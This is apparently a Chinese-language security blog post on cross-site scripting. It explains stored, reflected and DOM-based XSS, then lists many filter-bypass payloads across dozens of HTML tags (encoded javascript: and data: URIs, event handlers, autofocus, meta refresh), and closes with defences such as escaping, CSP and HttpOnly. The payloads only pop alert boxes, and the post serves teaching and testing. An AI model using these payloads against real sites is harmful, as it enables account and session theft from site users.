XSS

2025/1/20 17:04

XSS

跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的网络安全漏洞,它允许攻击者将恶意脚本注入到其他用户浏览和使用的正常网页中。XSS攻击通常旨在窃取用户信息,如会话令牌或cookies,或者欺骗用户,以执行攻击者控制的操作

XSS漏洞主要分为以下几类:

  1. 存储型XSS(Persistent XSS)
    • 恶意脚本被永久存储在目标服务器上,如数据库、消息论坛、访客留言板等
    • 当浏览器访问相应的网页时,恶意脚本将随网页内容一起被加载
  2. 反射型XSS(Reflected XSS)
    • 恶意脚本并不存储在目标服务器上,而是通过诸如URL参数的方式直接在请求响应中反射并执行
    • 攻击通常需要诱使用户点击一个恶意链接或访问一个恶意网站
  3. 基于DOM的XSS(DOM-based XSS)
    • 攻击完全基于文档对象模型(DOM),不涉及服务器的响应
    • 恶意脚本是在客户端运行,通过修改页面的DOM来执行

XSS绕过

a标签

#javascript协议
<a href=javascript:alert(XSS)>Click me</a>


# 如果服务器端脚本过滤了javascript:协议,攻击者可能会尝试以下绕过(\x09、\x0A和\x0D分别是水平制表符、换行符和回车符,它们在浏览器解析时会被忽):
<a href="java&#x09;script:alert('XSS')">Click me</a>
<a href="java&#x0A;script:alert('XSS')">Click me</a>
<a href="java&#x0D;script:alert('XSS')">Click me</a>

# data协议
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">Click me</a>

# url编码的data协议
<a    href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>

# 另两种方式实现
<a xlink:href="javascript:alert('XSS')"><rect width="1000" height="1000" fill="black"/></a></svg>
<math><a xlink:href=javascript:alert(1)>Click me</math>

# HTML实体编码
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">Click me</a>

# 攻击者可能会尝试在<a>标签的其他属性中注入脚本,例如onclick、onmouseover等
<a href="#" onclick="alert('XSS')">Click me</a>

# 如果服务器端脚本只检查开始标签而不检查结束标签,我们可以使用自闭合标签。
<a href="javascript:alert('XSS')" />

script标签

# 直接弹窗
<script>alert(1)</script>
<script>confirm(1)</script>
<script>pormpt(1)</script>

# javascript协议编码
<script>alert(String.fromCharCode(49))</script>

# 如果输出是在setTimeout里,我们依然可以直接执行alert(1)
<script>setTimeout('alert(1)',0)</script>

button标签

# 点击弹窗
<button/onclick=alert(1) >点我</button>

# 不需要点击就能弹窗
<button onfocus=alert(1) autofocus>

p标签

# 可以直接使用事件触发
<p/onmouseover=alert(1)>点我</p>

img标签

# 可以使用事件触发
<img src=x onerror=alert(1)>

body标签

# 事件触发
<body onload=alert(1)>

# onscroll 事件在元素滚动条在滚动时触发,即页面存在很多内容,需要滚动才能看到下面的内容,就会触发
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

var标签

# 事件触发,一般是用不需交互的事件比如鼠标移动等
<var onmousemove=alert(1)>M</var>

div标签

# 事件触发
<div/onclick='alert(1)'>X</div>

input标签

和button一样通过autofocus可以达到无需交互即可弹窗的效果。
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>

select标签

<select onfocus=javascript:alert(1) autofocus>

textarea标签

<textarea onfocus=javascript:alert(1) autofocus>

keygen标签

<keygen onfocus=javascript:alert(1) autofocus>

frameset标签

<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>

svg标签

<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>

math标签

<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1

video标签

<video><source onerror="alert(1)">
<video src=x onerror=alert(48)>

audio标签

<audio src=x onerror=alert(47)>

embed标签

 <embed src=javascript:alert(1)>

meta标签

测试发现,文章标题跑到meta标签中,那么只需要跳出当前属性再添加http-equiv=”refresh”,就可以构造一个有效地xss payload。还有一个思路,就是通过给http-equiv设置set-cookie,进一步重新设置cookie来达成一些目的。
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">

marquee标签

<marquee onstart="alert('1')"></marquee>

isindex标签

<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>

XSS防范

字符替换

添加对提交语句的过滤,用html的特殊字符进行替换

HTML 原代码 显示结果 描述
&lt; < 小于号或显示标记
&gt; > 大于号或显示标记
&amp; & 可用于显示其它特殊字符
&quot; 引号
&reg; ® 已注册
&copy; © 版权
&trade; 商标
&ensp; 半个空白位
&emsp; 一个空白位
&nbsp; 不断行的空白

为了更有效地防范XSS攻击,以下是一些更好的做法:

  • 使用专门的库或框架来处理XSS防护,如OWASP AntiSamy、Google Caja或Python的bleach
  • 实施内容安全策略(Content Security Policy, CSP),这是一种声明性安全机制,有助于减少XSS攻击的风险
  • 设置HttpOnly,httponly是一个HTTP响应头中的一个标志,它被用来告诉浏览器,某个cookie应该只通过HTTP(或HTTPS)请求发送给服务器,而不能通过客户端脚本(如JavaScript)访问。这意味着即使有XSS攻击,攻击者也无法通过document.cookie等JavaScript方法读取设置了HttpOnly属性的cookie
  • 使用HTTP响应头,如X-Content-Type-Options: nosniff,来防止浏览器尝试猜测和解释非正确内容类型的内容
  • 对用户输入进行严格的验证和清理,只接受符合预期的格式
posted @ 2025-03-06 22:13  guixiang  阅读(103)  评论(0)    收藏  举报